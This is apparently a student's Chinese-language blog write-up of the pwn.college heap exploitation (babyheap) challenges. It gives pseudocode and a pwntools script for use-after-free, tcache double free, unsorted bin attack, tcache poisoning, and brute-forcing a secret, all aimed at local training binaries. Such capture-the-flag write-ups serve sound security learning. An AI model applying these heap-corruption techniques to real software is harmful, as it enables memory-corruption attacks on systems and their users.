pwncollege之堆通关记录

https://dojo.pwn.college/challenges 中的Dynamic Allocator Misuse部分。

babyheap1.0~2.1——uaf

1
2
3
4
5
def exploit():
malloc(flag_size)
free()
read_flag()
puts()

babyheap3.0~3.1——uaf2.0

注意tcache是LIFO结构

1
2
3
4
5
6
7
def exploit():
malloc(0, flag_size)
malloc(1, flag_size)
free(1)
free(0)
read_flag()
puts(1)

babyheap4.0&4.1——tcache double free

第一次独立写出堆题,虽然是最简单的那种tcache double free

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
io = process('/challenge/babyheap_level4.1')
context.log_level = 'debug'
menu = 'Function (malloc/free/puts/scanf/read_flag/quit): '

io.sendlineafter(menu, 'malloc')
io.sendline('439')
io.sendlineafter(menu, 'free')
# get the pointer of stack

io.sendlineafter(menu, 'scanf')
payload = b'12345678'
io.sendline(payload)
# overwrite fd pointer

io.sendlineafter(menu, 'free')
io.sendlineafter(menu, 'puts')
io.recvuntil('Data: ')
addr = u64(io.recv(6).ljust(8, b'\0'))
# get the location of stack

io.sendlineafter(menu, 'scanf')
payload = p64(addr) + b'a'*64
io.sendline(payload)
# overwrite fd pointer again, make flag allocate here

io.sendlineafter(menu, 'free')
io.sendlineafter(menu, 'read_flag')
# tcache double free

io.sendlineafter(menu, 'puts')
io.interactive()

babyheap5.0&5.1——unsorted bin attack

先考虑没有tcache的情况:

1
2
3
4
5
6
7
8
9
10
11
12
13
def exploit():
malloc(0, flag_size)
malloc(1, flag_size)
malloc(2, flag_size)
free(1)
read_flag()

free(0)
free(1)

malloc(0, flag_size)
malloc(1, flag_size-16)
puts_flag()

libc 2.23->libc 2.31

通过耗尽所有的tcache来触发small bin和unsorted bin,进而修改chunk。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
def exploit():
for i in range(10):
malloc(i, flag_size)
for i in range(7):
free(i)
free(8)

for i in range(7):
malloc(i, flag_size)

read_flag()
free(7)
free(8)

malloc(7, flag_size)
malloc(8, flag_size-16)
puts_flag()

babyheap6.0&6.1——tcache poisoning

简单的tcache poisoning

https://wargames.ret2.systems/level/how2heap_tcache_poisoning_2.31

1
2
3
4
5
6
7
8
9
10
11
def exploit():
malloc(0, 0x80)
malloc(1, 0x80)
free(0)
free(1)
scanf(1, p64(sec_addr))
malloc(0, 0x80)
malloc(1, 0x80)
puts(1)
p.recvuntil('Data: ')
send_flag(p.recv(8))

babyheap7.0&7.1——tcache poisoning2.0

由于flag不会变化,secret后半部分,只需将sec_addr+=8,重新运行即可。

babyheap8.0&8.1——brute force

通过先前的方法可以泄露出secret的后12位,前4位可以通过暴力枚举实现。

1
2
3
4
5
6
7
8
9
10
11
def exploit():
for i in string.ascii_lowercase:
for j in string.ascii_lowercase:
for k in string.ascii_lowercase:
for l in string.ascii_lowercase:
payload = i+j+k+l+'tlymdcflfbsk'
send_flag(payload)
p.recvline()
if b'Authorized!' in p.recvline():
return
p.recvline()

脚本跑了一节课才跑出来。